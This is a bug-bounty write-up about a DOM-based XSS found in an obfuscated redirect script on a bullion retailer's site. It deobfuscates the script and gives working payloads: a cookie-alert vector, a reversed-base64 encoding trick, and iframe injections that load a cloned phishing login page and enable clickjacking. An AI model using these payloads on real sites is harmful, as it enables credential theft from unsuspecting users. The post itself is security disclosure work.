Daniel Maksimovic
Sep 13, 2018 · 5 min read

While doing spidering on silvergoldbull site I noticed a strange request to with following request:

Page redirected to:

Lets check what is in the source code:

var _0x2ad7 = [‘split’, ‘join’, ‘fromCharCode’, ‘length’, ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’, ‘charAt’, ‘location’, ‘search’, ‘substr’];

(function(_0x1c1079, _0x4030e6) {

var _0x37524a = function(_0x43a4b9) {

while ( — _0x43a4b9) {





}(_0x2ad7, 0x17c));

var _0x11bc = function(_0x4a174f, _0x2b3ed7) {

_0x4a174f = _0x4a174f — 0x0;

var _0x51adc6 = _0x2ad7[_0x4a174f];

return _0x51adc6;


b = function(_0x1a02a7) {

var _0x4af312 = {},

_0x2b3791, _0x1b21f9 = 0x0,

_0x45e157, _0x5eca9b, _0x241abe = 0x0,

_0x385668, _0x2ceca8 = ‘’,

_0x3299c7 = String[_0x11bc(‘0x0’)],

_0x2844f2 = _0x1a02a7[_0x11bc(‘0x1’)];

var _0x5717d2 = _0x11bc(‘0x2’);

for (_0x2b3791 = 0x0; _0x2b3791 < 0x40; _0x2b3791++) {

_0x4af312[_0x5717d2[_0x11bc(‘0x3’)](_0x2b3791)] = _0x2b3791;


for (_0x5eca9b = 0x0; _0x5eca9b < _0x2844f2; _0x5eca9b++) {

_0x45e157 = _0x4af312[_0x1a02a7[_0x11bc(‘0x3’)](_0x5eca9b)];

_0x1b21f9 = (_0x1b21f9 << 0x6) + _0x45e157;

_0x241abe += 0x6;

while (_0x241abe >= 0x8) {

((_0x385668 = _0x1b21f9 >>> (_0x241abe -= 0x8) & 0xff) || _0x5eca9b < _0x2844f2–0x2) && (_0x2ceca8 += _0x3299c7(_0x385668));



return _0x2ceca8;


var p = new URLSearchParams(window[_0x11bc(‘0x4’)][_0x11bc(‘0x5’)]);

var h = p[‘get’](‘g’);

var e = h[_0x11bc(‘0x6’)](h[_0x11bc(‘0x1’)] — 0x1);

h = h[‘substr’](0x0, h[_0x11bc(‘0x1’)] — 0x1);

var eq = Array(parseInt(e) + 0x1)[‘join’](‘=’);

var u = b(h[_0x11bc(‘0x7’)](‘’)[‘reverse’]()[_0x11bc(‘0x8’)](‘’) + eq);

window.location = u.replace(/[‘“]+/g, ‘’);

Script takes the value from the URL and sets it as window.location in the last step. Step by step it looks like this:

var p = new URLSearchParams(window[_0x11bc(‘0x4’)][_0x11bc(‘0x5’)]);

This var defines new URLSearchParams interface which takes the value of as parameter. In this case it is the value of g parameter. So variable p has the value of:



var h = p[‘get’](‘g’);

takes the value of g parameter and assign its value to h variable. Variable h has the value of:


Next variable e is created:

var e = h[_0x11bc(‘0x6’)](h[_0x11bc(‘0x1’)] — 0x1);

It does a substring javascript method and takes the last character of the string assigned to h variable, last value of that string is number 1 ( last value must be number, if not there will be an error since parseInt in variable eq takes string and parses it to integer, so the value must be numeric, no letters ) :


Next value h is assigned the value of h without the last character, in this case it is 1. So h has the value of:

h = h[‘substr’](0x0, h[_0x11bc(‘0x1’)] — 0x1);


Next variable eq has the value of array with two field and join method adds the value of “=” to array.

var eq = Array(parseInt(e) + 0x1)[‘join’](‘=’);

So the value inside array and the value variable eq is:


Last step is variable u, there are three things happening here. Value of h is split into array, and then reversed and joined again with value of eq variable added to the end.

var u = b(h[_0x11bc(‘0x7’)](‘’)[‘reverse’]()[_0x11bc(‘0x8’)](‘’) + eq);

So first we get:


(68) [“z”, “8”, “i”, “c”, “l”, “Z”, “H”, “b”, “p”, “N”, “X”, “L”, “z”, “t”, “2”, “Y”, “p”, “B”, “X”, “L”, “w”, “9”, “G”, “d”, “t”, “M”, “X”, “d”, “v”, “M”, “X”, “Z”, “v”, “0”, “2”, “b”, “j”, “5”, “C”, “b”, “s”, “V”, “n”, “Y”, “k”, “x”, “2”, “b”, “n”, “J”, “X”, “Z”, “2”, “x”, “W”, “a”, “z”, “9”, “y”, “L”, “6”, “M”, “H”, “c”, “0”, “R”, “H”, “a”]

And then reverse the values:


(68) [“a”, “H”, “R”, “0”, “c”, “H”, “M”, “6”, “L”, “y”, “9”, “z”, “a”, “W”, “x”, “2”, “Z”, “X”, “J”, “n”, “b”, “2”, “x”, “k”, “Y”, “n”, “V”, “s”, “b”, “C”, “5”, “j”, “b”, “2”, “0”, “v”, “Z”, “X”, “M”, “v”, “d”, “X”, “M”, “t”, “d”, “G”, “9”, “w”, “L”, “X”, “B”, “p”, “Y”, “2”, “t”, “z”, “L”, “X”, “N”, “p”, “b”, “H”, “Z”, “l”, “c”, “i”, “8”, “z”]

And them join the values and add the value of eq variable:

h.split(“”).reverse().join(“”) + eq


So we get the final falue encoded in BASE64 and the function b does decoding to cleartext and regex inside window.location removes quotes and double quotes.



Exploitation time:

1. Simple XSS as simple POC



Img 1.0 Page loads in Google Chrome — XSS Auditor bypassed
Img 2.0 Page loads in Mozilla Firefox

We used vector javascript:alert(document.cookie);//111 to generate BASE64 without equal or plus signs and then we reverse the string and add numeric value to the end:

Img 3.0 Base64 encoded XSS vector
Img 4.0 Base64 reversed XSS vector

But we can’t get the cookies we need cos of HTTPOnly on the cookies, so we need a more advanced attack. Something that will get us data.

2. Stealing user logins with fake login inside Iframe displayed on

Lets first clone the login page and setup fake https login page:

Next we have to setup out injection vector, since quotes and double quotes are removed from the vector we have to use something other instead of them, we can use backtics and bypass that. Steps:

1. Set new parameter inside URL request with value of encoded base64 iframe ( secK parameter )

2. Request value of secK with our javascript injected vector ( injection vector is the value of g parameter )

3. Page gets rendered and displayed

4. User enters his data and clicks login

5. Attacker has user data and the best thing is URL will still show silvergoldbull

Vector used is:


Value of g is:

var h = “v8yLvsTKpkCYLNWZzBGKdBGdldGYbBHKi9GdhhSZ0lmc35CduVWb1N2bkpDdwlmcjNXY2Fma1”; console.log(atob(h.substr(0,h.length-1).split(“”).reverse().join(“”)));


So we take the value of param secK and decode it with atob function, after decoding is done the value is written inside DOM and rendered.

The value of secK is:


<iframe onload=”window.stop();”src=’//’style=”height:1000px;width:100%;border:0">

We used google redirector to shorten the base64 vector, removed spaces where we could, removed the border, set iframe to take full value of viewport, and to remove loading spinning animation we set window.stop() to run right after the page has finished loading.


Img 5.0 Page loaded on Google Chrome with fake login iframe server from github pages
Img 6.0 After user submits the login form we got his data

All attacker needs is to share URL and wait for credentials, it is that easy.

ClickJacking can also be exploited due to fact that SAMEORIGIN requirements have been satisfied:

Value of secK is :

<iframe onload=”window.stop();”src=’//'style=”height:1000px;width:100%;border:0">


Img 7.0 website inside Iframe, ready for ClickJacking


They removed the vulnerable page, but for all of you who want to “practice” and exploit this bug while reading this post, I created a just for you:

Thanks for reading.

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Daniel Maksimovic

Written by

A pentester. A bug bounty hunter. All together that wierd security guy.

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

More From Medium

More from InfoSec Write-ups

More from InfoSec Write-ups

More from InfoSec Write-ups

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade